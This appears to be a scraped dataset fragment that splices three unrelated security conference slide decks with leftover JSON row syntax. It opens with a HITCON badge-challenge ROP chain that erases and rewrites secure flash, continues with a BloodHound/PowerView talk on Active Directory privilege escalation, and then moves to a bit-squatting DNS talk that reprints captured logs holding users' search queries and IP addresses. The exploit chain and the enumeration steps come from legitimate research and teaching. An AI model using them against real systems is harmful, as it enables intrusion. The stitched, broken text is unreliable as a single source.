\nROP\n• fmc_erase( 0x40000 - 0x800 )\n pop_r0_r1_pc, \n 0x40000 - 0x800, \n # locks secure flash address \n 0, \n fmc_erase, \n 0x7\nROP\n• fmc_write( 0x40000-0x800, 0xf7ffffff ) \n• fmc_write( 0x40000-0x700, 0xfaceb00c )\n pop_r0_r1_pc, \n 0x40000 - 0x800, \n 0xf7ffffff, \n fmc_write, \n 0x7, \n pop_r0_r1_pc, \n 0x40000 - 0x800 + 0x100, \n 0xfaceb00c, \n fmc_write\n• ROP chain\n pop_r0_r1_r2_r3_r4_pc, \n 0, 1, 2, pop_r7_pc, 4, \n mov_lr_r3_bx_lr, \n 0x7, \n pop_r7_pc, \n 0x7, \n fmc_open, \n 0x7, \n pop_r0_r1_r2_r3_r4_pc, \n 0, \n 1, \n 8, # r2 \n 0x4000c000, # r3 \n 4, \n load, # ldr r0, [r3] ; bx lr \n 0x7, \n orrs_r0_r2_pop_r4_r5_pc, \n 4, 5, \n store, # str r0, [r3] ; movs r0, r7 ; add sp, #0xc ; pop {r4, r5, r6, r7, pc} \n 0, 0, 0, 4, 5, 6, 7, \n pop_r0_r1_pc, \n 0x40000 - 0x800, # locks secure flash address \n 0, \n fmc_erase, \n 0x7, \n pop_r0_r1_pc, \n 0x40000 - 0x800, \n 0xf7ffffff, \n fmc_write, \n 0x7, \n pop_r0_r1_pc, \n 0x40000 - 0x800 + 0x100, \n 0xfaceb00c, \n fmc_write \nExploiting badge\n• Try to trigger ROP chain payload \n• Crash ….. \n• Crashing doesn’t matter, flash already memorized. 😆 \n• Reset and enjoy special pattern!\nMake TrustZone great again.\nTZ attack surfaces\n• TEE \n• TA running in TrustZone \n• Secure Boot component \n• Nintendo switch - early execution\nTZ attack surfaces\n• Binary source can get from other ways \n• Third party \n• Bypass checking \n• func( args ) \n• Vulnerability\nHITCON Badge challenge 2019\nTrust in the Untrusted World.\nThanks! 😆\n_yuawn\nyuawn"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":76,"cells":{"text":{"kind":"string","value":"Six$Degrees$of$Domain$Admin\nUsing&Graph&Theory&to&Accelerate&Red&Team&Operations\nDEF&CON&24&– Las&Vegas,&NV&2016\nAndy&Robbins&- @_wald0\nRohan&Vazarkar - @CptJesus\nWill&Schroeder&- @harmj0y\nAbout$Us$– Andy$Robbins\n• Offensive&Network&Services&\nTeam&Lead&at&Veris&Group’s&\nAdaptive&Threat&Division\n• Red&team&and&penetration&test&\nlead\n• Performed&hundreds&of&network&\npenetration&tests\n• With&Brandon&Henry,&identified&\ncritical&vulnerability&in&ACH&file&\nprocessing&procedures\nAbout$Us$– Rohan$Vazarkar\n• Penetration&tester&at&Veris&\nGroup’s&Adaptive&Threat&Division\n• Co-author&and&major&contributor&\nto&many&projects,&including&\nEyeWitness and&Python&Empire\n• Presenter:&BSidesDC,&BSidesLV,&\nBSidesDE,&Black&Hat&Arsenal\n• Trainer:&Black&Hat&USA&2016\nAbout$Us$– Will$Schroeder\n• Researcher&at&Veris&Group’s&\nAdaptive&Threat&Division\n• Co-founder&of&the&Veil-\nFramework,&PowerView,&\nPowerUp,&Empire/EmPyre\n• Active&PowerSploit devleoper\n• Microsoft&PowerShell/CDM&MVP\n• Speaker&and&various&cons&and&\nBlackHat trainer\n“Defenders$think$in$lists.$\nAttackers$think$in$graphs.$As$long$\nas$this$is$true,$attackers$win.”\n- John&Lambert,&General&Manager,&Microsoft&Threat&\nIntelligence&Center\nAgenda\n• The&Current&State&of&AD&Domain&Privilege&Escalation\n• The&Concept&of&“Derivative&Local&Admin”\n• A&Crash&Course&in&Graph&Theory\n• Stealthy&Data&Collection&with&PowerView\n• The&Release&of&BloodHound\n• Closing&Remarks&and&Future&Plans\nPrior$Work\n• ”Derivative&Local&Admin”&by&Justin&Warner&(@sixdub)&-\nhttp://www.sixdub.net/?p=591\n• Active&Directory&Control&Paths&by&Emmanuel&Gras&and&Lucas&Bouillot -\nhttps://github.com/ANSSI-FR/AD-control-paths\n• One&of&the&best&AD&Security&resources&- https://adsecurity.org/\nThe$Current$State$of$Active$\nDirectory$Domain$Privilege$\nEscalation\nCurrent$State$of$AD$Domain$Priv Esc\n• Active&Directory&is&ubiquitous.\n• LOTS&of&security&research&devoted&to&Active&Directory\n• Sometimes&we&get&easy&buttons!&J\n• Easy&buttons&have&a&tendency&to&disappear.\n• The&best&tradecraft&includes,&but&does¬&rely&on&easy&buttons\nA$Tale$of$Two$Networks\nA$Tale$of$Two$Networks\nThe$Concept$of$“Derivative$Local$\nAdmin”\nDerivative$Local$Admin\n• The&chaining&or&linking&of&administrator&rights&through&compromising&\nother&privileged&accounts\n• Also&referred&to&as&a&“Snowball&attack”&by&Microsoft&Research&as&early&\nas&2009\n• “Derivative&Local&Admin”&first&coined&in&this&blog&post:&sixdub.net/asdf\nSteve\nBob\nMary\nDerivative$Local$Admin\n• This&often&occurs&due&to&runaway&nested&groups,&making&it&difficult&to&\ndetermine&who&the&effective&admins&are&on&a&given&system.\nSteve\nMary\nGroup&1\nGroup&2\nDerivative$Local$Admin$– Forward$Escalation\nSteve\nMary\nBob\nSusan\nJeff\nDerivative$Local$Admin$– Reverse$Analysis\nSteve\nMary\nBob\nDave\nSarah\nDerivative$Local$Admin$– The$Combinatorial$\nExplosion$\nSteve\nMary\nChris\nSusan\nClara\nRita\nClark\nJohn\nDavid\nJason\nJen\nCliff\nDiane\nJose\nBob\nSusan\nJeff\nChallenges$with$this$approach\n• Doesn’t&scale\n• Extremely&time&consuming&and&tedious\n• May¬&identify&the&shortest&(and&certainly¬&all)&path&possible\n• Domain&Admin&might¬&be&necessary\n• Limited&situational&awareness\nA$Crash$Course$in$Graph$Theory\nGraph$Theory$Crash$Course\n• Graphs&are&comprised&of&vertices&(or&nodes)&and&edges&(or&\nrelationships).\n• Vertices&that&share&an&edge&are&said&to&be&“adjacent”\n• Edges&can&be&directed&(or&“one-way”)&or&undirected&(or&\n“bidirectional”)\n• A&path&is&a&set&of&vertices&and&edges&linking&one&vertex&to&another,&\nwhether&those&vertices&are&adjacent&or¬\nGraph$Theory$Crash$Course\nVertex&1\nVertex&2\nEdge\nGraph$Theory$Crash$Course\nVertex&1\nVertex&4\nVertex&2\nVertex&3\nBloodHound Graph$Design\nStealthy$Data$Collection$with$\nPowerView\nThanks?\n•“The%best%tool%these%days%for%\nunderstanding%windows%\nnetworks%is%Powerview [1].”\n-Phineas&Fisher\nhttp://pastebin.com/raw/0SNSvyjJ\nPowerView\n•A&pure&PowerShell&v2.0&domain/network&situational&\nawareness&tool\n• Fully&self-contained&and&&loadable&in&memory\n• Now&part&of&PowerSploit™&(not&really&trademarked)\n•Built&to&automate&large&components&of&the&tradecraft&\non&our&red&team&engagements\n•Collects&the&data&that&BloodHound is&built&on\nWho’s$Logged$In$Where?\n• We&deem&this&“user&hunting”\n• Invoke-UserHunter is&built&on:\n• Get-NetSession – who&has&sessions&with&a&remote&machine\n• Get-NetLoggedOn – who’s&logged&in&on&what&machine\n• Get-LoggedOnLocal – who’s&logged&in&on&a&machine&(with&remote&\nregistry)\n• “Stealth”&approach:\n• Enumerate&commonly&trafficked&servers&(i.e.&file&servers)&and&\nremote&session&information&for&each\nWho$Can$Admin$What?\n•Did&you&know&that&Windows&allows&any&domain-\nauthenticated&user&to&enumerate&the&members&of&a&\nlocal group&on&a&remote machine?\n• Either&through&the&NetLocalGroupGetMembers()&Win32&API&call&or&\nthe&WinNT&service&provider\n•PowerView:\n• Get-NetLocalGroup –ComputerName IP>[-API]\nWho$Can$Admin$What$(GPO$Edition)?\n•Let’s&correlate&what&GPOs&set&the&local&administrators&\ngroup&with&with&OUs/sits&these&GPOs&are&applied&to\n• Lets&us&determine&who&has&admin&rights&where&based&on&GPO&\nsettings\n• This&isn’t&a&super&simple&process…\n• PowerView’s Find-GPOLocation will&enumerate&this&for&a&\nspecific&target&or&dump&all&relationships&by&default\nWho’s$in$What$Groups?\n• Not&too&crazy,&just&enumerate&all&groups&and&all&members&of&\neach&group&through&LDAP/ADSI&searches\n• Get-NetGroup |>Get-NetGroupMember\n• That’s&it!\nBringing$it$All$Together\n• The&BloodHound ingestor is&a&customized&version&of&\nPowerView&with&the&following&two&functions&added:\n• Export-BloodHoundData – exports&PowerView&data&objects&to&the&\nBloodHoundNeo4j&batch&RESTful API\n• Get-BloodHoundData – automates&the&data&ingestion&and&pipes&results&to&\nExport-BloodHoundData\n• We&have&a&PowerShell&v2.0&ingestion&tool&that:\n• Doesn’t&need&administrator&rights&to&pull&lots&of&data\n• Directly&ingests&data&into&BloodHound\nThe$Release$of$BloodHound\nThe$Release$of$BloodHound\n• Easy-to-use,&intuitive&web&\ninterface&for&interacting&with&a&\ngraph&database\n• Built&with&Linkurious.js\n• Lots&of&fun&capabilities&that&\nRohan&will&demo&right&now\nClosing$Remarks$and$Future$Plans\nFuture$Plans\n• Increase&the&scope&of&elements&modeled&in&the&BloodHound graph,&\nincluding&AD&object&ACLs,&GPOs,&and&more\n• Continued&research&on&the&applications&of&graph&theory&to&Active&\nDirectory&security\n• Defense-centric&capability\n• Continuing&maturation&of&data&collection,&ingestion,&and&analysis&\nmethods\nClosing$Remarks\n• As&defensive&postures&improve,&attack&paths&will&increasingly&rely&on&\nenvironmental&misconfigurations,&and&poor&implementations&of&least&\nprivilege&and&administrator&account&hygiene\n• Graph&theory&enables&rapid&attack&path&analysis\n• BloodHound is&a&free&and&open&source&Active&Directory&domain&\nprivilege&escalation&capability&which&utilizes&graph&theory\nGo$Get$BloodHound!\n• https://www.github.com/adaptivethreat/bloodhound\n• Contact&Us:\n• Andy&Robbins&-- @_wald0\n• Rohan&Vazarkar -- @CptJesus\n• Will&Schroeder&-- @harmj0y"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":77,"cells":{"text":{"kind":"string","value":"Disclaimer: This presentation is based upon personal research that was not supported\nor authorized by my employer. The material being presented may be considered offensive to\nthose with weak hearts or those highly invested in technology funds.\nRobert Stucke\nbobx@rot26.net\nDNS Has Been Found\nTo Be Hazardous To Your\nHealth\nUse With Caution\nAbout Me\nPhoenix @ 90K feet!\nAgenda\n DNS Bit-Squatting\n Misunderstood end-point DNS behavior\n You don’t own that domain, I do\n Abandoned Botnets and Forgotten Toys\nBit-Squatting\nPresented by Artem Dinaburg at Blackhat and Defcon in\n2011\n Project Page\nhttp://dinaburg.org/bitsquatting.html\n Presentation Video\nhttp://youtu.be/lZ8s1JwtNas\n Presentation Slides\nhttp://dinaburg.org/data/DC19_Dinaburg_Presentation.pdf\nBit-Squatting\n What is it?\n Why does it happen?\n What is the impact?\nBit-Squatting\nBit-Squatting\n0110011101101111011011110110\n0110011101101101011011110110\nBit-Squatting\nWhat is Bit-Squatting?\n Anticipate the way a single bit error in\nmemory will corrupt the DNS name\n Registering those mangled domains\n Rapture, Mayhem, Yay!\nBit-Squatting\n01100111011011110110111101100111011011000110010100101110011000110110111101101101\n01100111011011110110111101100110011011000110010100101110011000110110111101101101\ngoogle.com\ngoofle.com\nBit-Squatting\nWhat causes these memory errors?\n Heat\n Electrical Problems\n Radioactive Contamination\n Cosmic Rays!\nBit-Squatting\nPhones\nBit-Squatting\n“The guidance we give to data center operators is to raise\nthe thermostat. “\n“Many data centers operate at 70 degrees or below. We’d\nrecommend looking at going to 80 degrees”\n- Erik Teetzel\nEnergy Program Manager at Google\nThe peak operating temperature Google’s Belgium\ndata center reaches is 95 degrees Fahrenheit!\nBit-Squatting\nBit-Squatting\ngstatic.com\nGoogle domain for serving static content\nCSS\nImages\nJavascript\nXML\nBit-Squatting\ngstatic.com\nfstatic.com\nestatic.com\ncstatic.com\nostatic.com\nwstatic.com\ngrtatic.com\ngqtatic.com\ngwtatic.com\ngctatic.com\ng3tatic.com\ngsuatic.com\ngsvatic.com\ngspatic.com\ngsdatic.com\ngs4atic.com\ngstctic.com\ngstetic.com\ngstitic.com\ngstqtic.com\ngstauic.com\ngstavic.com\ngstapic.com\ngstadic.com\ngsta4ic.com\ngstathc.com\ngstatkc.com\ngstatmc.com\ngstatac.com\ngstatyc.com\ngstatib.com\ngstatia.com\ngstatig.com\ngstatik.com\nBit-Squatting\ngstatic.com\nfstatic.com\nestatic.com\ncstatic.com\nostatic.com\nwstatic.com\ngrtatic.com\ngqtatic.com\ngwtatic.com\ngctatic.com\ng3tatic.com\ngsuatic.com\ngsvatic.com\ngspatic.com\ngsdatic.com\ngs4atic.com\ngstctic.com\ngstetic.com\ngstitic.com\ngstqtic.com\ngstauic.com\ngstavic.com\ngstapic.com\ngstadic.com\ngsta4ic.com\ngstathc.com\ngstatkc.com\ngstatmc.com\ngstatac.com\ngstatyc.com\ngstatib.com\ngstatia.com\ngstatig.com\ngstatik.com\nBit-Squatting\ngstatic.com\nfstatic.com\nestatic.com\ncstatic.com\nostatic.com\nwstatic.com\ngrtatic.com\ngqtatic.com\ngwtatic.com\ngctatic.com\ng3tatic.com\ngsuatic.com\ngsvatic.com\ngspatic.com\ngsdatic.com\ngs4atic.com\ngstctic.com\ngstetic.com\ngstitic.com\ngstqtic.com\ngstauic.com\ngstavic.com\ngstapic.com\ngstadic.com\ngsta4ic.com\ngstathc.com\ngstatkc.com\ngstatmc.com\ngstatac.com\ngstatyc.com\ngstatib.com\ngstatia.com\ngstatig.com\ngstatik.com\nBit-Squatting\n170.185.129.xx \"t1.gwtatic.com\"\nGET /images?q=tbn:ANd9GcShHkx1JNpi-DLmfnciij3_3PsiBzk_Oag_ocxD9WPkcgGcZLer\nhttp://www.google.com/search?um=1&hl=en&safe=active&biw=1024&bih=587&tbm=isch\n&sa=1&q=trisha+jones&oq=trisha+jones&aq=f&aqi=g1&aql=&gs_sm=e&gs_upl=6506l1117\n0l0l11373l14l14l1l0l0l0l327l1716l2-4.2l6l0\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR\n2.0.50727; .NET CLR 3.5.30729; .NE\nT CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)\"\nBit-Squatting\n170.185.129.xx \"t1.gwtatic.com\"\nGET /images?q=tbn:ANd9GcShHkx1JNpi-DLmfnciij3_3PsiBzk_Oag_ocxD9WPkcgGcZLer\nhttp://www.google.com/search?um=1&hl=en&safe=active&biw=1024&bih=587&tbm=isch\n&sa=1&q=trisha+jones&oq=trisha+jones&aq=f&aqi=g1&aql=&gs_sm=e&gs_upl=6506l1117\n0l0l11373l14l14l1l0l0l0l327l1716l2-4.2l6l0\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR\n2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)\"\nBit-Squatting\n170.185.129.xx \"t1.gwtatic.com\"\nGET /images?q=tbn:ANd9GcShHkx1JNpi-DLmfnciij3_3PsiBzk_Oag_ocxD9WPkcgGcZLer\nhttp://www.google.com/search?um=1&hl=en&safe=active&biw=1024&bih=587&tbm=isch\n&sa=1&q=trisha+jones&oq=trisha+jones&aq=f&aqi=g1&aql=&gs_sm=e&gs_upl=6506l1117\n0l0l11373l14l14l1l0l0l0l327l1716l2-4.2l6l0\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR\n2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)\"\nBit-Squatting\n170.185.129.xx \"t1.gwtatic.com\"\nGET /images?q=tbn:ANd9GcShHkx1JNpi-\nDLmfnciij3_3PsiBzk_Oag_ocxD9WPkcgGcZLer\nhttp://www.google.com/search?um=1&hl=en&safe=active&biw=1024&bih=587&tbm=isch\n&sa=1&q=trisha+jones&oq=trisha+jones&aq=f&aqi=g1&aql=&gs_sm=e&gs_upl=6506l1117\n0l0l11373l14l14l1l0l0l0l327l1716l2-4.2l6l0\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR\n2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)\"\nBit-Squatting\n170.185.129.xx \"t1.gwtatic.com\"\nGET /images?q=tbn:ANd9GcShHkx1JNpi-DLmfnciij3_3PsiBzk_Oag_ocxD9WPkcgGcZLer\nhttp://www.google.com/search?um=1&hl=en&safe\n=active&biw=1024&bih=587&tbm=isch\n&sa=1&q=trisha+jones&oq=trisha+jones&aq=f&aqi\n=g1&aql=&gs_sm=e&gs_upl=6506l11170l0l11373l\n14l14l1l0l0l0l327l1716l2-4.2l6l0\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR\n2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)\"\nBit-Squatting\n170.185.129.xx \"t1.gwtatic.com\"\nGET /images?q=tbn:ANd9GcShHkx1JNpi-DLmfnciij3_3PsiBzk_Oag_ocxD9WPkcgGcZLer\nhttp://www.google.com/search?um=1&hl=en&safe=active&biw=1024&bih=587&tbm=isch\n&sa=1&q=trisha+jones&oq=trisha+jones&aq=f&aqi=g1&aql=&gs_sm=e&gs_upl=6506l1117\n0l0l11373l14l14l1l0l0l0l327l1716l2-4.2l6l0\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT\n6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET\nCLR 3.5.30729; .NET CLR 3.0.30729; Media Center\nPC 6.0; InfoPath.2)\"\nBit-Squatting\n170.185.129.xx \"t1.gwtatic.com\"\nGET /images?q=tbn:ANd9GcShHkx1JNpi-DLmfnciij3_3PsiBzk_Oag_ocxD9WPkcgGcZLer\nhttp://www.google.com/search?um=1&hl=en&safe=active&biw=1024&bih=587&tbm=isch\n&sa=1&q=trisha+jones&oq=trisha+jones&aq=f&aqi=g1&aql=&gs_sm=e&gs_\nupl=6506l11170l0l11373l14l14l1l0l0l0l327l1716l2-4.2l6l0\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR\n2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)\"\nBit-Squatting\n200.142.133.xx \"t3.gstatmc.com“\nGET /images?q=tbn:ANd9GcTpBH9vsMVT7yp6aC0-\nwVunxW1aIK7ICDDFjB2pMY2PKIeEOdmfNF2LpRE\n\"http://www.google.com.br/m/search?site=images&q=selena+gomez+photoshop\n&start=14&sa=N“\nBit-Squatting\n200.142.133.xx \"t3.gstatmc.com“\nGET /images?q=tbn:ANd9GcTpBH9vsMVT7yp6aC0-\nwVunxW1aIK7ICDDFjB2pMY2PKIeEOdmfNF2LpRE\n\"http://www.google.com.br/m/search?site=images&q=selena+gomez+photoshop\n&start=14&sa=N“\nBit-Squatting\n200.142.133.xx \"t3.gstatmc.com“\nGET /images?q=tbn:ANd9GcTpBH9vsMVT7yp6aC0-\nwVunxW1aIK7ICDDFjB2pMY2PKIeEOdmfNF2LpRE\n\"http://www.google.com.br/m/search?site=images&q=selena+gomez+photoshop\n&start=14&sa=N“\nBit-Squatting\n200.142.133.xx \"t3.gstatmc.com“\nGET /images?q=tbn:ANd9GcTpBH9vsMVT7yp6aC0-\nwVunxW1aIK7ICDDFjB2pMY2PKIeEOdmfNF2LpRE\n\"http://www.google.com.br/m/\nsearch?site=images&q=selena+gomez+photoshop&start=14&sa=N“\nBit-Squatting\nWhat I want to be when I grow up\nemma watson\ncraigslist\ncrunch\nfacebook\nmediatakeout\nchristmas coloring pages\nmobil new eyes\nombre red hair\nwendy williams\nsimbolos de musica\nWorkspace login\ncnn\nMulher melancia\nufc symbol\nwordplay\nemos de 14\nBit-Squatting\nBut isn’t this just random noise?\nBit-Squatting\n91.217.185.104 \"www.g3tatic.com\" GET /m/images/logo_small.gif\n\"Nokia5130c-2/2.0 (07.91) Profile/MIDP-2.1 Configuration/CLDC-1.1“\n125.235.49.56 \"www.g3tatic.com\" GET /m/images/logo_small.gif\n\"GIONEE-D6/SW1.0.0/WAP2.0“\n196.201.208.32 \"www.g3tatic.com\" GET /m/images/logo_small.gif\n\"Alcatel-OT-305/1.0 ObigoInternetBrowser/Q03C“\n125.235.49.55 \"www.g3tatic.com\" GET /m/images/logo_small.gif\n\"LG-GB270 Obigo/WAP2.0 MIDP-2.0/CLDC-1.1“\n200.89.84.90\n\"www.g3tatic.com\" GET /m/images/logo_small.gif\n\"ZTE-G_R221/WAP2.0\"\nBit-Squatting\nBit-Squatting\nBit-Squatting\nWhat else is that heat\ndoing to Google\nservers?\nBit-Squatting\n209.85.226.83 \"www.gwtatic.com\"\n/igomodules/youtube/v3/youtufe.xml \"Feedfetcher-Google”\n209.85.224.96 \"www.gstqtic.com\"\n/ig/modules/youtube/v3/youtube.xml \"Feedfetcher-Google”\n209.85.226.89 \"www.gstctic.com\"\n/ig/modules/tabnews/kennedy/tabnews.xml \"Feedfetcher-\nGoogle”\n209.85.228.82 \"www.gstatmc.com\"\n/ig/modules/wikipedia/kennedy/wikipedia.xml \"Feedfetcher-\nGoogle\"\nBit-Squatting\nWidget\nBit-Squatting\n<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<Module>\n<ModulePrefs\ntitle=\"__MSG_title__\"\ndirectory_title=\"__MSG_title__\"\ntitle_url=\"//maps.google.com/maps?q=__UP_location__\"\ndescription=\"__MSG_description__\"\nauthor=\"Mark L.\"\nauthor_affiliation=\"Google\"\nauthor_location=\"Santa Barbara, CA\"\ndefault_value=\"false\"/>\n…\n<![CDATA[ The goods are in here!\nBit-Squatting\nbackground-image:url(‘\nhttp://www.grtatic.com/ig/modules/gadgetfacto\nry/v2/search-white.cache.png\n‘)\nBit-Squatting\n62.30.127.40 \"www.grtatic.com\" \"GET /ig/modules/gadgetfactory/v2/search-white.cache.png\"\n62.30.90.211 \"www.grtatic.com\" \"GET /ig/modules/gadgetfactory/v2/search-white.cache.png\"\n62.31.197.88 \"www.grtatic.com\" \"GET /ig/modules/gadgetfactory/v2/search-white.cache.png\"\n77.101.112.66 \"www.grtatic.com\" \"GET /ig/modules/gadgetfactory/v2/search-white.cache.png\"\n77.101.54.41 \"www.grtatic.com\" \"GET /ig/modules/gadgetfactory/v2/search-white.cache.png\"\n77.103.212.102 \"www.grtatic.com\" \"GET /ig/modules/gadgetfactory/v2/search-white.cache.png\"\n77.96.107.165 \"www.grtatic.com\" \"GET /ig/modules/gadgetfactory/v2/search-white.cache.png\"\n77.96.68.59 \"www.grtatic.com\" \"GET /ig/modules/gadgetfactory/v2/search-white.cache.png\"\n77.96.94.150 \"www.grtatic.com\" \"GET /ig/modules/gadgetfactory/v2/search-white.cache.png\"\n77.98.65.88 \"www.grtatic.com\" \"GET /ig/modules/gadgetfactory/v2/search-white.cache.png\"\n80.195.240.134 \"www.grtatic.com\" \"GET /ig/modules/gadgetfactory/v2/search-white.cache.png\"\n80.195.240.140 \"www.grtatic.com\" \"GET /ig/modules/gadgetfactory/v2/search-white.cache.png\"\n80.195.240.66 \"www.grtatic.com\" \"GET /ig/modules/gadgetfactory/v2/search-white.cache.png\"\n80.195.28.42 \"www.grtatic.com\" \"GET /ig/modules/gadgetfactory/v2/search-white.cache.png\"\n82.38.119.43 \"www.grtatic.com\" \"GET /ig/modules/gadgetfactory/v2/search-white.cache.png\"\n82.41.181.77 \"www.grtatic.com\" \"GET /ig/modules/gadgetfactory/v2/search-white.cache.png\"\n82.41.183.91 \"www.grtatic.com\" \"GET /ig/modules/gadgetfactory/v2/search-white.cache.png\"\nBit-Squatting\nGB, 62.30.127.40,\nVirgin Media\nGB,\n62.30.90.211,\nVirgin Media\nGB,\n62.31.197.88,\nVirgin Media\nGB,\n77.101.112.66,\nVirgin Media\nGB,\n77.101.54.41,\nVirgin Media\nGB,\n77.103.212.102, Virgin Media\nGB,\n77.96.107.165,\nVirgin Media\nGB,\n77.96.68.59,\nVirgin Media\nGB,\n77.96.94.150,\nVirgin Media\nGB,\n77.98.65.88,\nVirgin Media\nGB,\n80.195.240.134, Virgin Media\nGB,\n80.195.240.140, Virgin Media\nGB,\n80.195.240.66,\nVirgin Media\nGB,\n80.195.28.42,\nVirgin Media\nGB,\n82.38.119.43,\nVirgin Media\nGB,\n82.41.181.77,\nVirgin Media\nGB,\n82.41.183.91,\nVirgin Media\nGB,\n82.46.238.196,\nVirgin Media\nBit-Squatting\nFun with Postini\n$ dig mozilla.org. mx +short\n400 mozilla.com.s5b2.psmtp.com.\n100 mozilla.com.s5a1.psmtp.com.\n200 mozilla.com.s5a2.psmtp.com.\n300 mozilla.com.s5b1.psmtp.com.\nBit-Squatting\nabout.com.mail11.prmtp.com\nacterna.com.s7b2.prmtp.com\naeecorp.com.s5a1.prmtp.com\naggintl.com.s9a2.prmtp.com\nahrcnyc.org.s8a2.prmtp.com\naireco.com.mail6.prmtp.com\nairties.com.s0b2.prmtp.com\nalaska.com.mail5.prmtp.com\nalston.com.mail5.prmtp.com\namg-inc.com.s7a2.prmtp.com\nams-pmt.com.s5a1.prmtp.com\narchenv.com.s7a1.prmtp.com\nashbyco.com.s7b1.prmtp.com\nashland.com.s5a1.prmtp.com\nasurion.com.s9a1.prmtp.com\natcomhq.com.s8b2.prmtp.com\nauracom.com.s6a1.prmtp.com autogas.com.s7a1.prmtp.com\nbardadv.com.s5a2.prmtp.com\nbaseinc.com.s8b2.prmtp.com\nb-bachs.com.s5a1.prmtp.com\nbbinswa.com.s6a1.prmtp.com\nbbrslaw.com.s8b1.prmtp.com\nbbt.co.uk.s200a2.prmtp.com\nbc.pitt.edu.s7b1.prmtp.com\nbda-inc.com.s7a1.prmtp.com\nbraden.com.s10b2.prmtp.com\nbridge.nl.s200a1.prmtp.com\nbrofort.com.s8b2.prmtp.com\nbrunico.com.s9a1.prmtp.com\nbryant.edu.s10a2.prmtp.com\nbslogin.com.s9a1.prmtp.com\nbwnoise.com.s7b2.prmtp.com\ncableone.net.mail6.prmtp.com\ncalarts.edu.s9a1.prmtp.com\ncapital.net.s6b2.prmtp.com\ncch-lis.com.s5a1.prmtp.com\ncharity.org.s5a2.prmtp.com\nchouest.com.s5a1.prmtp.com\ncinmach.com.s8b2.prmtp.com\nconxxus.com.s6b2.prmtp.com\ncvcvbc.aw46z.prmtp.com\ncwl-inc.com.s5b2.prmtp.com\ndbigolf.com.s6b2.prmtp.com\nBit-Squatting\ndcsdk12.org.s9a2.prmtp.com\ndcshoes.com.s5b2.prmtp.com\ndeloitte.dk.s7b1.prmtp.com\ndenvest.com.s9a1.prmtp.com\ndesales.edu.s8a2.prmtp.com\ndetnews.com.s7a1.prmtp.com\ndigitel.net.s7a1.prmtp.com\ndlvbbdo.com.s7b1.prmtp.com\ndnata.com.s201b2.prmtp.com\nduralee.com.s7a2.prmtp.com\ndvicomm.com.s9b2.prmtp.com\nEcomdss.com.s8b1.prmtp.com\necsdnv.net.s10b1.prmtp.com\neducate.com.s5a1.prmtp.com\nee.pitt.edu.s7b1.prmtp.com\neknikl.ldoy2.prmtp.com\ne-m.co.uk.s200a1.prmtp.com\nemerson.com.s7a2.prmtp.com\neritter.net.s6b2.prmtp.com\nesedona.net.s6a1.prmtp.com\nfordham.edu.s8a2.prmtp.com\nfuturestep.com.s8b2.prmtp.com galileo.com.s8a1.prmtp.com\ngannett.com.s7a1.prmtp.com\ngdjpud.vsnad.prmtp.com\ngenpact.com.s8a1.prmtp.com\nglcomp.com.mail6.prmtp.com\nhal-pc.org.mail1.prmtp.com\nherguth.com.s7a1.prmtp.com\nhklaw.com.mail12.prmtp.com\nhocking.net.s5b2.prmtp.com\nhpdsoftware.com.s200b2.prmtp.com\nici-llc.com.s5b2.prmtp.com\ninfoave.net.s5a2.prmtp.com\ninfonxx.com.s8b1.prmtp.com\ninfopia.com.s7a1.prmtp.com\ninnovex.com.s8a1.prmtp.com\nitronix.com.s8b2.prmtp.com\njaxbank.com.s5a1.prmtp.com\njcurran.com.s7b1.prmtp.com\njennmar.com.s9a2.prmtp.com\njet-web.com.s9a2.prmtp.com\njfshea.com.s10a2.prmtp.com\njuniper.net.s7a1.prmtp.com\nkdlegal.com.s8a1.prmtp.com\nkoenigs.com.s5a1.prmtp.com\nkpmg.com.hk.s8a1.prmtp.com\nBit-Squatting\nlakemac.net.s6a2.prmtp.com\nlaser27.com.s8b2.prmtp.com\nlchcnet.org.s8a1.prmtp.com\nlesspub.com.s9a1.prmtp.com\nlexmark.com.s8b1.prmtp.com\nlfstaff.com.s8a2.prmtp.com\nliebert.com.s7a1.prmtp.com\nlifeway.com.s5a1.prmtp.com\nlimitlessny.s8a1.prmtp.com\nlimitlessny.s8a2.prmtp.com\nlindal.com.s10a1.prmtp.com\nmaciejn.com.s7a1.prmtp.com\nmag-ias.com.s8a1.prmtp.com\nmarkany.com.s7a1.prmtp.com\nmendes.com.mail5.prmtp.com\nminpack.com.s5b2.prmtp.com\nmozilla.com.s5a1.prmtp.com\nmpitime.com.s7b2.prmtp.com\nmq.edu.au.s200a1.prmtp.com\nmudlake.net.s8b1.prmtp.com\nmuskoka.com.s5a1.prmtp.com\nmyexcel.com.s6a1.prmtp.com\nnetptc.net.mail8.prmtp.com\nnetsync.net.s9a1.prmtp.com\nnewport.com.s8a2.prmtp.com\nnominum.com.s7a2.prmtp.com 